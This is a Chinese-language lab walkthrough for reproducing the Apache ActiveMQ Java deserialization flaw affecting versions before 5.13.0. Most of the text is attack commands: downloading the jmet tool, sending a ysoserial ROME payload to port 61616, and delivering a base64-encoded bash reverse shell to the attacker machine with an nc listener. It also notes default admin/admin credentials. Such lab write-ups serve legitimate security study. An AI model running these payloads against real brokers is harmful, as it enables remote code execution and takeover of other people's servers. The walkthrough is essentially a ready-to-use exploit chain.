1、Apache ActiveMQ
Apache ActiveMQ是Apache软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。
2、漏洞产生原理
该组件程序造成的漏洞不限制代理中可以序列化的类。远程攻击者可以使一个特殊的序列化 Java 消息服务 (JMS) ObjectMessage 对象利用此漏洞执行任意代码。
3、受影响版本
Apache ActiveMQ 5.x < Apache ActiveMQ 5.13.0
复现流程如下:
靶机IP:192.168.107.129
攻击机IP:192.168.107.130
启动环境
docker-compose up -d
查看启动的容器
docker ps
访问web页面
攻击机执行以下命令:
cd var/opt
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
mkdir external
使用下载jmet的jar文件 ,Jmet原理是使用ysoserial生成payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /root/sucess" -Yp ROME 192.168.107.129 61616
接下来,我们到web管理页面看是否添加了一条消息
默认账号密码:admin/admin
回到靶机 打开靶场的bash,查看消息未触发前/root目录,没有任何文件
攻击机单击触发消息后,可见success目录被创建
通过发送构造的payload反弹靶场shell,攻击机使用nc监听
bash -i >& /dev/tcp/192.168.107.130/1234 0>&1
使用base64编码payload绕过Java机制
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwNy4xMzAvMTIzNCAwPiYx
构造payload
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwNy4xMzAvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.107.129 61616
可以看到新增了一条内容
攻击机使用nc监听本机的1234端口
nc -lvp 1234
攻击机单击触发反弹shell的payload消息
靶机的shell已经反弹到攻击机的12344端口上
参考文章:ActiveMQ 反序列化漏洞